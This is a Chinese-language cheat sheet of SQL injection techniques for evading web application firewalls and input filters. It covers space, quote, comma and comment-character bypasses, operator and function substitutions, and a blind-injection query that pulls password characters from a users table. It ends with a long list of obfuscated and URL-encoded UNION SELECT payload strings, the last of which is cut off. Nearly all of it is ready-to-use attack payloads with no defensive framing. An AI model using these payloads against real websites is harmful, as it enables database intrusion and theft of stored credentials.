基本绕过方法
- 大小写
- 双写
- 编码,如URLEncode编码,ASCII编码绕过
- 内敛注释
空格绕过
- 用注释替换空格
select/**/user,password/**/from /**/users;
- 空格url编码%20
- 两个空格代替一个空格
- 用Tab代替空格
- %a0=空格
- 如果空格被过滤,括号没有被过滤,可以用括号绕过
select(user())from dual where(1=1)and(2=2)
- 回车
引号绕过
- 使用十六进制
例如:
select column_name from information_schema.columns where table_name='users';
如引号被过滤,就可以尝试使用十六进制来进行绕过
即可以将语句写为:
select column_name from information_schema.columns where table_name=0x7573657273;
- 还有一个办法(前提是已经得知数据库名称和表名,例如dvwa和users):
select column_name from information_schema.columns where table_schema=database();
查询所在数据库中的所有列名,然后
可以猜或者尝试得知哪些字段在哪个表中,然后:
select username,password from users;
- 宽字节注入
逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号
-
对于substr()和mid()这两个方法可以使用from的方式来解决:
select substr(database() from 1 for 1);
-
使用join
union select 1,2
可以使用下面的句子代替
union select * from (select 1)a join (select 2)b
-
使用like
select ascii(mid(user(),1,1))=80
可以使用下面的句子代替
select user() like 'r%'
-
limit中,使用offset绕过
limit 1offset0
or and xor not绕过
- 利用符号替换
and = &&
or=||
xor=|
not=!
- 在敏感词中添加注释:
an/**/d
- 双写绕过oorr
- 大小写变形
- 编码
注释符绕过
id=1' union select 1,2,3 or '1'='1
即虽然无法使用注释符,但是可以闭合掉他
或者:id=1' union select 1,2,'3
- 最后添加
or 1'
- 最后添加
and '1'='1
等于号绕过
- 使用like
- 使用
!<>
,因为<>是不等于 - regrep (正则表达匹配)
<>被过滤
- greatest(),least()
- strcmp(str1,str2),第一个参数小于第二个参数,返回-1,否则为1
- in,between a and b
等价函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
union select 绕过
#WAF Bypassing Strings:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
##
#
#
#Union Select by PASS with Url Encoded Method:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7